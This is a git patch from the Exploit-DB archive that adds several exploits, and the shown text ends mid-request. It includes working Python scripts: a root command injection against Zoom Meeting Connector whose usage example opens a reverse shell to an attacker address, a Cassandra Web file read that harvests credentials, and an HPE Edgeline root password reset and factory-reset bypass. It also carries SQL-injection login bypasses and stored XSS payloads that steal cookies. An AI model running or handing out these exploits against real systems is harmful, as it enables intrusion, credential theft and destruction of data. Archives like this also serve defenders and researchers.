From 2c7e8b1ddc93c7fa79c2cac412b9f41de6ffe7f9 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Wed, 6 Jan 2021 05:01:59 +0000 Subject: [PATCH] DB: 2021-01-06 19 changes to exploits/shellcodes Intel(R) Matrix Storage Event Monitor x86 8.0.0.1039 - 'IAANTMON' Unquoted Service Path Fluentd TD-agent plugin 4.0.1 - Insecure Folder Permission IncomCMS 2.0 - Insecure File Upload House Rental and Property Listing 1.0 - Multiple Stored XSS Resumes Management and Job Application Website 1.0 - Authentication Bypass (Sql Injection) WordPress Plugin Stripe Payments 2.0.39 - 'AcceptStripePayments-settings[currency_code]' Stored XSS WordPress Plugin WP-Paginate 2.1.3 - 'preset' Stored XSS Online Movie Streaming 1.0 - Authentication Bypass Responsive ELearning System 1.0 - 'id' Sql Injection Baby Care System 1.0 - 'Post title' Stored XSS Responsive FileManager 9.13.4 - 'path' Path Traversal Zoom Meeting Connector 4.6.239.20200613 - Remote Root Exploit (Authenticated) HPE Edgeline Infrastructure Manager 1.0 - Multiple Remote Vulnerabilities Cassandra Web 0.5.0 - Remote File Read CSZ CMS 1.2.9 - Multiple Cross-Site Scripting Online Learning Management System 1.0 - RCE (Authenticated) Klog Server 2.4.1 - Command Injection (Unauthenticated) EgavilanMedia User Registration & Login System with Admin Panel 1.0 - Multiple Stored Cross-Site Scripting --- exploits/linux/webapps/49360.py | 237 +++++++++++++++++++++++++++ exploits/linux/webapps/49362.py | 141 ++++++++++++++++ exploits/multiple/webapps/49351.html | 22 +++ exploits/multiple/webapps/49361.py | 218 ++++++++++++++++++++++++ exploits/multiple/webapps/49367.txt | 37 +++++ exploits/php/webapps/48826.txt | 3 +- exploits/php/webapps/49352.txt | 17 ++ exploits/php/webapps/49353.txt | 11 ++ exploits/php/webapps/49354.txt | 48 ++++++ exploits/php/webapps/49355.txt | 42 +++++ exploits/php/webapps/49356.txt | 11 ++ exploits/php/webapps/49357.txt | 83 ++++++++++ exploits/php/webapps/49358.txt | 13 ++ exploits/php/webapps/49359.py | 64 ++++++++ exploits/php/webapps/49364.txt | 32 ++++ exploits/php/webapps/49365.py | 32 ++++ exploits/php/webapps/49366.py | 97 +++++++++++ exploits/windows/local/49350.txt | 41 +++++ exploits/windows/local/49363.txt | 33 ++++ files_exploits.csv | 18 ++ 20 files changed, 1198 insertions(+), 2 deletions(-) create mode 100755 exploits/linux/webapps/49360.py create mode 100755 exploits/linux/webapps/49362.py create mode 100644 exploits/multiple/webapps/49351.html create mode 100755 exploits/multiple/webapps/49361.py create mode 100644 exploits/multiple/webapps/49367.txt create mode 100644 exploits/php/webapps/49352.txt create mode 100644 exploits/php/webapps/49353.txt create mode 100644 exploits/php/webapps/49354.txt create mode 100644 exploits/php/webapps/49355.txt create mode 100644 exploits/php/webapps/49356.txt create mode 100644 exploits/php/webapps/49357.txt create mode 100644 exploits/php/webapps/49358.txt create mode 100755 exploits/php/webapps/49359.py create mode 100644 exploits/php/webapps/49364.txt create mode 100755 exploits/php/webapps/49365.py create mode 100755 exploits/php/webapps/49366.py create mode 100644 exploits/windows/local/49350.txt create mode 100644 exploits/windows/local/49363.txt diff --git a/exploits/linux/webapps/49360.py b/exploits/linux/webapps/49360.py new file mode 100755 index 000000000..45d9e7b8b --- /dev/null +++ b/exploits/linux/webapps/49360.py @@ -0,0 +1,237 @@ +# Exploit Title: Zoom Meeting Connector 4.6.239.20200613 - Remote Root Exploit (Authenticated) +# Date: 12-29-2020 +# Exploit Author: Jeremy Brown +# Vendor Homepage: https://support.zoom.us/hc/en-us/articles/201363093-Deploying-the-Meeting-Connector +# Software Link: https://support.zoom.us/hc/en-us/articles/201363093-Deploying-the-Meeting-Connector +# Version: 4.6.239.20200613 + +#!/usr/bin/python +# -*- coding: UTF-8 -*- +# +# zoomer.py +# +# Zoom Meeting Connector Post-auth Remote Root Exploit +# +# Jeremy Brown [jbrown3264/gmail] +# Dec 2020 +# +# The Meeting Connector Web Console listens on port 5480. On the dashboard +# under Network -> Proxy, one can enable a proxy server. All of the fields +# are sanitized to a certain degree, even the developers noting in the proxy() +# function within backend\webconsole\WebConsole\net.py that they explicitly +# were concerned with command injection and attempted to prevent it: +# +# if ('"' in proxy_name) or ('"' in proxy_passwd): # " double quotes cannot be used to prevent shell injection +# is_valid = False +# +# It makes sense to leave some flexibility in the character limits here +# passwords are often expected to contain more than alphanumeric characters. +# But of course that means the Proxy Password field is still vulnerable to +# command injection with the ` character. +# +# The proxy data gets concatenated and written to /etc/profile.d/proxy.sh. +# Every three minutes, a task runs which executes this proxy script as root. +# After submission the dashboard says “The proxy will take effect after the +# server reboot!”, but the commands will still be executed within actually +# requiring a reboot. Keep in mind that the commands will be executed blind. +# +# For example, `id>/tmp/proxy_test` given as the Proxy Password will produce +# this in the /tmp/proxy_test file: +# +# uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023 +# +# MMR was tested, but Controller and VRC may also be vulnerable +# +# Usage +# > zoomer.py 10.0.0.10 admin xsecRET1 "sh -i >& /dev/udp/10.0.0.11/5555 0>&1" +# login succeeded +# command sent to server +# +# $ nc -u -lvp 5555 +# .... +# sh: no job control in this shell +# sh-4.2# pwd +# /root +# sh-4.2# +# +# setenforce 0 if SELinux bothers you, service sshd start and add users/keys, +# check tokens in /opt/zoom/conf/register, check out the local environment, etc. +# +# Dependencies +# - pip install pyquery +# +# Fix +# Zoom says they've fixed this in the latest version +# + +import os +import sys +import argparse +import requests +import urllib.parse +from pyquery import PyQuery +from requests.packages.urllib3.exceptions import InsecureRequestWarning + +requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + +class Zoomer(object): + def __init__(self, args): + self.target = args.target + self.port = args.port + self.username = args.username + self.password = args.password + self.command = args.command + + def run(self): + target = "https://" + self.target + ':' + str(self.port) + + session = requests.Session() + session.verify = False + + # + # get csrftoken from /login and use it to auth with creds + # + try: + resp = session.get(target + "/login") + except Exception as error: + print("Error: %s" % error) + return -1 + + try: + csrftoken = resp.headers['set-cookie'].split(';')[0] + except: + print("Error: couldn't parse csrftoken from response header") + return -1 + + csrfmiddlewaretoken = self.get_token(resp.text, 'csrfmiddlewaretoken') + + if(csrfmiddlewaretoken == None): + return -1 + + data = \ + {'csrfmiddlewaretoken':csrfmiddlewaretoken, + 'name':self.username, + 'password':self.password} + + headers = \ + {'Host':self.target + ':' + str(self.port), + 'Referer':target, + 'Cookie':csrftoken} + + try: + resp = session.post(target + "/login", headers=headers, data=data) + except Exception as error: + print("Error: %s" % error) + return -1 + + if(resp.status_code != 200 or 'Wrong' in resp.text): + print("login failed") + return -1 + else: + print("login succeeded") + + # + # get csrfmiddlewaretoken from /network/proxy and post cmd + # + try: + resp = session.get(target + "/network/proxy") + except Exception as error: + print("Error: %s" % error) + return -1 + + csrfmiddlewaretoken = self.get_token(resp.text, 'csrfmiddlewaretoken') + + cookies = session.cookies.get_dict() + + # + # this happens with view-only users + # + if(len(cookies) < 2): + print("Error: failed to get session ID") + return -1 + + command = '`' + self.command + '`' + + headers = \ + {'Host':self.target + ':' + str(self.port), + 'Referer':target, + 'Cookie': \ + 'csrftoken=' + cookies['csrftoken'] + ';' + \ + 'sessionid=' + cookies['sessionid']} + + data = \ + {'csrfmiddlewaretoken':csrfmiddlewaretoken, + 'proxyValue':1, + 'proxyAddr':'localhost', + 'proxyPort':8080, + 'proxyName':'test', + 'proxyPasswd':command} + + try: + resp = session.post(target + "/network/proxy", headers=headers, data=data) + except Exception as error: + print("Error: %s" % error) + return -1 + + if(resp.status_code != 200): + print("something failed") + return -1 + else: + print("command sent to server") + + return 0 + + def get_token(self, body, name): + token = None + + pq = PyQuery(body) + + if(name == 'csrftoken'): + print("csrftoken") + + if(name == 'csrfmiddlewaretoken'): + token = pq('input').attr('value') + + return token + +def arg_parse(): + parser = argparse.ArgumentParser() + + parser.add_argument("target", + type=str, + help="Zoom server") + + parser.add_argument("-p", + "--port", + type=int, + default=5480, + help="Zoom port") + + parser.add_argument("username", + type=str, + help="Valid username") + + parser.add_argument("password", + type=str, + help="Valid password") + + parser.add_argument("command", + type=str, + help="Command to execute (replace space with $IFS ?)") + + args = parser.parse_args() + + return args + +def main(): + args = arg_parse() + + zm = Zoomer(args) + + result = zm.run() + + if(result > 0): + sys.exit(-1) + +if(__name__ == '__main__'): + main() \ No newline at end of file diff --git a/exploits/linux/webapps/49362.py b/exploits/linux/webapps/49362.py new file mode 100755 index 000000000..f41dd1ccc --- /dev/null +++ b/exploits/linux/webapps/49362.py @@ -0,0 +1,141 @@ +# Exploit Title: Cassandra Web 0.5.0 - Remote File Read +# Date: 12-28-2020 +# Exploit Author: Jeremy Brown +# Vendor Homepage: https://github.com/avalanche123/cassandra-web +# Software Link: https://rubygems.org/gems/cassandra-web/versions/0.5.0 +# Version: 0.5.0 +# Tested on: Linux + +#!/usr/bin/python +# -*- coding: UTF-8 -*- +# +# cassmoney.py +# +# Cassandra Web 0.5.0 Remote File Read Exploit +# +# Jeremy Brown [jbrown3264/gmail] +# Dec 2020 +# +# Cassandra Web is vulnerable to directory traversal due to the disabled +# Rack::Protection module. Apache Cassandra credentials are passed via the +# CLI in order for the server to auth to it and provide the web access, so +# they are also one thing that can be captured via the arbitrary file read. +# +# Usage +# > cassmoney.py 10.0.0.5 /etc/passwd +# root:x:0:0:root:/root:/bin/bash +# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +# bin:x:2:2:bin:/bin:/usr/sbin/nologin +# ... +# +# > cassmoney.py 10.0.0.5 /proc/self/cmdline +# /usr/bin/ruby2.7/usr/local/bin/cassandra-web--usernameadmin--passwordP@ssw0rd +# +# (these creds are for auth to the running apache cassandra database server) +# +# Fix +# - fixed in github repo +# - v0.6.0 / ruby-gems when available +# (still recommended to containerize / run this in some sandbox, apparmor, etc) +# + +import os +import sys +import argparse +import requests +import urllib.parse + +SIGNATURE = 'cassandra.js' + +# +# /var/lib/gems/2.7.0/gems/cassandra-web-0.5.0/app/public +# +DT = '../' +DT_NUM = 8 + +class CassMoney(object): + def __init__(self, args): + self.target = args.target + self.file = args.file + self.port = args.port + self.force = args.force + self.number = args.number + + def run(self): + target = "http://" + self.target + ':' + str(self.port) + + payload = urllib.parse.quote_plus(DT * self.number + self.file) + + try: + deskpop = requests.get(target) + except Exception as error: + print("Error: %s" % error) + return -1 + + if(SIGNATURE not in deskpop.text and self.force == False): + print("Target doesn't look like Cassandra Web, aborting...") + return -1 + + try: + req = requests.get(target + '/' + payload) + except: + print("Failed to read %s (perm denied likely)" % self.file) + return -1 + + if(SIGNATURE in req.text): + print("Failed to read %s (bad path?)" % self.file) + return -1 + + if(len(req.text) == 0): + print("Server returned nothing for some reason") + return 0 + + print("\n%s" % req.text) + + return 0 + +def arg_parse(): + parser = argparse.ArgumentParser() + + parser.add_argument("target", + type=str, + help="Cassandra Web Host") + + parser.add_argument("file", + type=str, + help="eg. /etc/passwd, /proc/sched_debug + /proc//cmdline") + + parser.add_argument("-p", + "--port", + type=int, + default=3000, + help="Cassandra Web Port") + + parser.add_argument("-f", + "--force", + default=False, + action='store_true', + help="Run the payload even if server isn't Cassandra Web") + + parser.add_argument("-n", + "--number", + type=int, + default=DT_NUM, + help="Adjust the number of dot-dot-slash") + + args = parser.parse_args() + + return args + +def main(): + args = arg_parse() + + cm = CassMoney(args) + + result = cm.run() + + if(result > 0): + sys.exit(-1) + +if(__name__ == '__main__'): + main() \ No newline at end of file diff --git a/exploits/multiple/webapps/49351.html b/exploits/multiple/webapps/49351.html new file mode 100644 index 000000000..c50659f0f --- /dev/null +++ b/exploits/multiple/webapps/49351.html @@ -0,0 +1,22 @@ +# Exploit Title: IncomCMS 2.0 - Insecure File Upload +# Google Dork: intext:"Incom CMS 2.0" +# Date: 07.12.2020 +# Exploit Author: MoeAlBarbari +# Vendor Homepage: https://www.incomcms.com/ +# Version: 2.0 +# Tested on: BackBox linux +# CVE: CVE-2020-29597 + + + + + Upload your files + + +
+

Upload your file

+
+ +
+ + \ No newline at end of file diff --git a/exploits/multiple/webapps/49361.py b/exploits/multiple/webapps/49361.py new file mode 100755 index 000000000..3bf83dd37 --- /dev/null +++ b/exploits/multiple/webapps/49361.py @@ -0,0 +1,218 @@ +# Exploit Title: HPE Edgeline Infrastructure Manager 1.0 - Multiple Remote Vulnerabilities +# Date: 12-28-2020 +# Exploit Author: Jeremy Brown +# Vendor Homepage: https://support.hpe.com/hpsc/swd/public/detail?swItemId=MTX_f62aaafe780a496dad6d28621a +# Software Link: https://support.hpe.com/hpsc/swd/public/detail?swItemId=MTX_f62aaafe780a496dad6d28621a +# Version: 1.0 + +#!/usr/bin/python +# -*- coding: UTF-8 -*- +# +# billhader.py +# +# HPE Edgeline Infrastructure Manager Multiple Remote Vulnerabilities +# +# Jeremy Brown [jbrown3264/gmail] +# Dec 2020 +# +# In \opt\hpe\eim\containers\api\eim\api\urls.py, some private paths are defined +# which are intended to only be accessible via the local console. +# +# path('private/AdminPassReset', views.admin_password_reset), <-- ice +# path('private/ResetAppliance', views.reset_appliance), <-- ice +# path('private/EIMApplianceIP', views.get_eim_appliance_ips), <-- boring +# +# These are meant to only be exposed for the local GUI so admins can perform +# functions without authenticating. The way do they do this is by checking the +# Host header and returning a 404 not found for not-localhost, but 200 OK for +# 127.0.0.1. This is of course flawed because any remote user has control over +# the Host header and they can call these functions with valid JSON, eg. +# /private/AdminPassReset to reset the admin password and login via SSH (default) +# as root due to the Administrator and root always synced to the same password. +# They can also call ResetAppliance and the appliance will immediately reset +# user data and cause the entire server to reboot. +# +# Administrator is the default and permanent web console user and as mentioned it's +# tied to the root OS user account. When Administrator changes their password, the +# backend changes the root password to the same. Other users can be added to the +# web console, but there is nothing stopping them changing any other user’s password. +# Not even sure if this is a bug or just wow functionality because although the +# users appear different, they all seem to share the same role. Broken or incomplete +# design I guess. So any user can change the Administrator password and use it to +# login as root via the default open SSH server, start setting up camp, etc. +# +# Usage examples +# > billhader.py 10.0.0.10 pre_root_passwd -n letmein +# {"RootPasswd": "Modified", "UserPassword": "Modified"} +# +# > ssh root@10.0.0.10 +# root@10.10.10.20's password: [letmein] +# [root@hpe-eim ~]# +# +# > billhader.py 10.0.0.10 post_root_passwd -u test -p abc123 +# login succeeded +# {"Status": "success", "Valid_Entries": ["Password"], "Invalid_Entries": []} +# +# (root password is now newpassword default of 'letmein') +# +# > billhader.py 10.10.10.20 pre_factory_reset +# Lost your password huh? Are you sure you want to factory reset this server? +# yes +# done +# + +import os +import sys +import argparse +import requests +import urllib.parse +import json +from requests.packages.urllib3.exceptions import InsecureRequestWarning + +requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + +BINGO = '127.0.0.1' # not localhost :') +DEFAULT_PORT = 443 + +class BillHader(object): + def __init__(self, args): + self.target = args.target + self.action = args.action + self.newpassword = args.newpassword + self.username = args.username + self.password = args.password + + def run(self): + target = "https://" + self.target + ':' + str(DEFAULT_PORT) + + session = requests.Session() + session.verify = False + + if(self.action == 'pre_root_passwd'): + headers = {'Host':BINGO} + + data = \ + {'Password':self.newpassword, + 'ConfirmPassword':self.newpassword} + + try: + resp = session.post(target + "/private/AdminPassReset", + headers=headers, + data=json.dumps(data)) + except Exception as error: + print("Error: %s" % error) + return -1 + + print("%s" % resp.text) + + if(self.action == 'post_root_passwd'): + data = \ + {'UserName':self.username, + 'Password':self.password} + + try: + resp = session.post(target + "/redfish/v1/SessionService/Sessions", + data=json.dumps(data)) + except Exception as error: + print("Error: %s" % error) + return -1 + + if(resp.status_code != 201): + print("login failed") + return -1 + else: + print("login succeeded") + + try: + token = resp.headers['x-auth-token'] + except: + print("Error: couldn't parse token from response header") + return -1 + + if(token == None): + print("Error: couldn't parse token from session") + return -1 + + headers = {'X-Auth-Token':token} + + data = {'Password':self.newpassword} + + try: + resp = session.patch(target + "/redfish/v1/AccountService/Accounts/1", + headers=headers, + data=json.dumps(data)) + except Exception as error: + print("Error: %s" % error) + return -1 + + print("%s" % resp.text) + + if(self.action == 'pre_factory_reset'): + print("Lost your password huh? Are you sure you want to factory reset this server?") + + choice = input().lower() + + if('yes' not in choice): + print("cool, exiting") + return -1 + + headers = {'Host':BINGO} + + data = {'ResetRequired':'true'} + + try: + resp = session.post(target + "/private/ResetAppliance", \ + headers=headers, + data=json.dumps(data)) + except Exception as error: + print("Error: %s" % error) + return -1 + + print("done") + + return 0 + +def arg_parse(): + parser = argparse.ArgumentParser() + + parser.add_argument("target", + type=str, + help="EIM host") + + parser.add_argument("action", + type=str, + choices=['pre_root_passwd', 'post_root_passwd', 'pre_factory_reset'], + help="Which action to perform on the server") + + parser.add_argument("-n", + "--newpassword", + type=str, + default="letmein", + help="New password to set for root account (letmein)") + + parser.add_argument("-u", + "--username", + type=str, + help="Valid username (for post_root_reset)") + + parser.add_argument("-p", + "--password", + type=str, + help="Valid password (for post_root_reset)") + + args = parser.parse_args() + + return args + +def main(): + args = arg_parse() + + bill = BillHader(args) + + result = bill.run() + + if(result > 0): + sys.exit(-1) + +if(__name__ == '__main__'): + main() \ No newline at end of file diff --git a/exploits/multiple/webapps/49367.txt b/exploits/multiple/webapps/49367.txt new file mode 100644 index 000000000..db1c7d3bf --- /dev/null +++ b/exploits/multiple/webapps/49367.txt @@ -0,0 +1,37 @@ +# Exploit Title: EgavilanMedia User Registration & Login System with Admin Panel 1.0 - Multiple Stored Cross-Site Scripting +# Date: 30-12-2020 +# Exploit Author: Mesut Cetin +# Vendor Homepage: http://egavilanmedia.com +# Version: 1.0 +# Tested on Windows 10, Firefox 83.0, Burp Suite Professional v1.7.34 + +Vulnerable parameter: email, gender, username +Payload: + +Proof of Concept: + +To bypass client-side filter, we will use Burp Suite. Reproduce the vulnerability by following the steps: + +1. Login with default credentials "admin:password" at the demo page at: http://demo.egavilanmedia.com/User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/profile.php +2. Click above right on the "Profile" tab +3. Navigate to the "Edit Profile" tab +4. In Firefox, use Foxyproxy and click on "Intercept" within Burp Suite. Press on "Update password" button at demo page. +5. Capture the POST request in Burp Suite and manipulate the parameter as shown: + +POST /User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/admin/profile_action.php HTTP/1.1 +Host: demo.egavilanmedia.com +User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) +Accept: application/json, text/javascript, */*; q=0.01 +Accept-Language: de,en-US;q=0.7,en;q=0.3 +Accept-Encoding: gzip, deflate +Content-Type: application/x-www-form-urlencoded; charset=UTF-8 +X-Requested-With: XMLHttpRequest +Content-Length: 180 +Origin: http://demo.egavilanmedia.com +Connection: close +Referer: http://demo.egavilanmedia.com/User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/admin/profile.php +Cookie: PHPSESSID=944b2es2eb67f971af305b2105e35c3e + +fullname=admin&username=&email=&gender==&action=update_admin + +6. Forward the request and refresh the page. You'll receive three different XSS pop-ups. One of them contains the PHPSESSID cookie. By using payloads like , the session cookies can be send to the attacker. \ No newline at end of file diff --git a/exploits/php/webapps/48826.txt b/exploits/php/webapps/48826.txt index 290d7489a..8f2f676af 100644 --- a/exploits/php/webapps/48826.txt +++ b/exploits/php/webapps/48826.txt @@ -1,12 +1,11 @@ # Exploit Title: Flatpress Add Blog 1.0.3 - Persistent Cross-Site Scripting -# Google Dork: - # Date: 2020-09-19 # Exploit Author: Alperen Ergel # Vendor Homepage: https://www.flatpress.org/ # Software Link: https://github.com/evacchi/flatpress/releases/tag/v1.0.3 # Version: 1.0.3 # Tested on: windows 10 / xampp -# CVE : - +# CVE : CVE-2020-35241 # Proof Of Content diff --git a/exploits/php/webapps/49352.txt b/exploits/php/webapps/49352.txt new file mode 100644 index 000000000..e7f524bc3 --- /dev/null +++ b/exploits/php/webapps/49352.txt @@ -0,0 +1,17 @@ +# Exploit Title: House Rental and Property Listing 1.0 - Multiple Stored XSS +# Tested on: Windows 10 +# Exploit Author: Mohamed habib Smidi (Craniums) +# Date: 2020-12-28 +# Google Dork: N/A +# Vendor Homepage: https://www.sourcecodester.com/php/14649/house-rental-and-property-listing-php-full-source-code.html +# Software Link: https://www.sourcecodester.com/download-code?nid=14649&title=House+Rental+and+Property+Listing+in+PHP+with+Full+Source+Code +# Affected Version: Version 1 +# Patched Version: Unpatched +# Category: Web Application + +Step 1: Create a new user then login +Step 2: Click on "Register" page to register a room. +Step 3: input "" in all fields each one with the field name except phone number, alternate number. +Note: for the email address you can inspect elements and change the type from email to text. +Step 4: Once all fields are completed, Click on Submit +Step 5: From the home page click on Details/Update, This will trigger all Stored XSS payloads one after the other. \ No newline at end of file diff --git a/exploits/php/webapps/49353.txt b/exploits/php/webapps/49353.txt new file mode 100644 index 000000000..df56a442a --- /dev/null +++ b/exploits/php/webapps/49353.txt @@ -0,0 +1,11 @@ +# Exploit Title: Resumes Management and Job Application Website 1.0 - Authentication Bypass (Sql Injection) +# Date: 2020-12-27 +# Exploit Author: Kshitiz Raj (manitorpotterk) +# Vendor Homepage: http://egavilanmedia.com +# Software Link: https://egavilanmedia.com/resumes-management-and-job-application-website/ +# Version: 1.0 +# Tested on: Windows 10/Kali Linux + +Step 1 - Go to url http://localhost/Resumes/login.html +Step 2 - Enter Username :- ' or '1'='1'# +Step 3 - Enter Password - anything \ No newline at end of file diff --git a/exploits/php/webapps/49354.txt b/exploits/php/webapps/49354.txt new file mode 100644 index 000000000..c926db642 --- /dev/null +++ b/exploits/php/webapps/49354.txt @@ -0,0 +1,48 @@ +# Exploit Title: WordPress Plugin Stripe Payments 2.0.39 - 'AcceptStripePayments-settings[currency_code]' Stored XSS +# Date: 04-01-2021 +# Software Link: https://wordpress.org/plugins/stripe-payments/#developers +# Exploit Author: Park Won Seok +# Contact: kkigg39@gmail.com +# Category: Webapps +# Version: stripe-payments (Ver_2.0.39) +# Tested on: Windows 10 x64 + +# description: +# A Stored Cross-site scripting (XSS) was discovered in wordpress plugins stripe-payments (Ver_2.0.39) +# Vulnerability parameters : "AcceptStripePayments-settings[currency_code]" have Cross-Site Scripting. + +# POC - Stored Cross-Site Scripting + +POST /wp-admin/options.php HTTP/1.1 +Host: localhost +Content-Length: 5786 +Cache-Control: max-age=0 +Upgrade-Insecure-Requests: 1 +Origin: http:// localhost +Content-Type: application/x-www-form-urlencoded +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 +(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Accept: +text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 +Referer: +http://192.168.31.131/wp-admin/edit.php?post_type=asp-products&page=stripe-payments-settings +Accept-Encoding: gzip, deflate +Accept-Language: ko,en-US;q=0.9,en;q=0.8 +Cookie: +wordpress_5b1d7751a3da8a97505638936b7963ae=root%7C1609074082%7C6vGILxkmE1tZmBRmymy2iwNfvpGntlQfhEhwVLDGHFu%7C50b0c8ba4dcc6dfdd756418c9fc960d3736f93a0febf165408110ea815dbab03; +wordpress_test_cookie=WP%20Cookie%20check; +wordpress_logged_in_5b1d7751a3da8a97505638936b7963ae=root%7C1609074082%7C6vGILxkmE1tZmBRmymy2iwNfvpGntlQfhEhwVLDGHFu%7Cb3e517e751d2519dc5473f911230fe31c966c9c755f193344b4bdea80a09d8b4; +asp_transient_id=36985e31f4be2b5ae0e14586c592c87d; +wp-settings-1=mfold%3Do%26editor%3Dhtml%26posts_list_mode%3Dlist; +wp-settings-time-1=1608903490 +Connection: close + +wp-asp-urlHash=general&option_page=AcceptStripePayments-settings-group&action=update&_wpnonce=eee296fed3&_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fpost_type%3Dasp-products%26page%3Dstripe-payments-settings&AcceptStripePayments-settings%5Bcheckout_url%5D=http%3A%2F%2F192.168.31.131%2Fstripe-checkout-result%2F&asp_products_page_url_value=http%3A%2F%2F192.168.31.131%2Fproducts%2F& +*AcceptStripePayments-settings%5Bcurrency_code%5D=USDjk9v0%22%3e%3cscript%3ealert(document.cookie)%3c%2fscript%3edr45t* +&AcceptStripePayments-settings%5Bcurrency_symbol%5D=%24&AcceptStripePayments-settings%5Bbutton_text%5D=Buy+Now&AcceptStripePayments-settings%5Bpopup_button_text%5D=Pay+%25s&AcceptStripePayments-settings%5Bcheckout_lang%5D=&AcceptStripePayments-settings%5Bpopup_default_country%5D=0&AcceptStripePayments-settings%5Bapi_publishable_key%5D=1&AcceptStripePayments-settings%5Bapi_secret_key%5D=2&AcceptStripePayments-settings%5Bapi_publishable_key_test%5D=3&AcceptStripePayments-settings%5Bapi_secret_key_test%5D=4&AcceptStripePayments-settings%5Bbuyer_email_type%5D=text&AcceptStripePayments-settings%5Bfrom_email_address%5D=test+%3Csales% +40your-domain.com +%3E&AcceptStripePayments-settings%5Bbuyer_email_subject%5D=Thank+you+for+the+purchase&AcceptStripePayments-settings%5Bbuyer_email_body%5D=Hello%0D%0A%0D%0AThank+you+for+your+purchase%21+You+ordered+the+following+item%28s%29%3A%0D%0A%0D%0A%7Bproduct_details%7D&AcceptStripePayments-settings%5Bseller_notification_email%5D=localhost% +40google.com +&AcceptStripePayments-settings%5Bseller_email_type%5D=text&AcceptStripePayments-settings%5Bseller_email_subject%5D=Notification+of+product+sale&AcceptStripePayments-settings%5Bseller_email_body%5D=Dear+Seller%0D%0A%0D%0AThis+mail+is+to+notify+you+of+a+product+sale.%0D%0A%0D%0A%7Bproduct_details%7D%0D%0A%0D%0AThe+sale+was+made+to+%7Bpayer_email%7D%0D%0A%0D%0AThanks&AcceptStripePayments-settings%5Bsend_email_on_error_to%5D=localhost% +40google.com +&AcceptStripePayments-settings%5Bprice_currency_pos%5D=left&AcceptStripePayments-settings%5Bprice_decimal_sep%5D=.&AcceptStripePayments-settings%5Bprice_thousand_sep%5D=%2C&AcceptStripePayments-settings%5Bprice_decimals_num%5D=2&AcceptStripePayments-settings%5Bcustom_field_name%5D=&AcceptStripePayments-settings%5Bcustom_field_descr%5D=&AcceptStripePayments-settings%5Bcustom_field_descr_location%5D=placeholder&AcceptStripePayments-settings%5Bcustom_field_position%5D=above&AcceptStripePayments-settings%5Bcustom_field_type%5D=text&AcceptStripePayments-settings%5Bcustom_field_validation%5D=&AcceptStripePayments-settings%5Bcustom_field_custom_validation_regex%5D=&AcceptStripePayments-settings%5Bcustom_field_custom_validation_err_msg%5D=Please+enter+valid+data&AcceptStripePayments-settings%5Btos_text%5D=I+accept+the+%3Ca+href%3D%22https%3A%2F%2Fexample.com%2Fterms-and-conditions%2F%22+target%3D%22_blank%22%3ETerms+and+Conditions%3C%2Fa%3E&AcceptStripePayments-settings%5Btos_position%5D=above&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BUSD%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BEUR%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BGBP%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BAUD%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BARS%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BBAM%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BBGN%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BBRL%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BCAD%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BCLP%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BCNY%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BCOP%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BCZK%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BDKK%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BEGP%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BHKD%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BHUF%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BINR%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BIDR%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BILS%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BJPY%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BLBP%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BMYR%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BMXN%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BNZD%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BNOK%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BPEN%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BPHP%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BPLN%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BRON%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BRUB%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BSAR%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BSGD%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BZAR%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BKRW%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BSEK%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BCHF%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BTWD%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BTHB%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5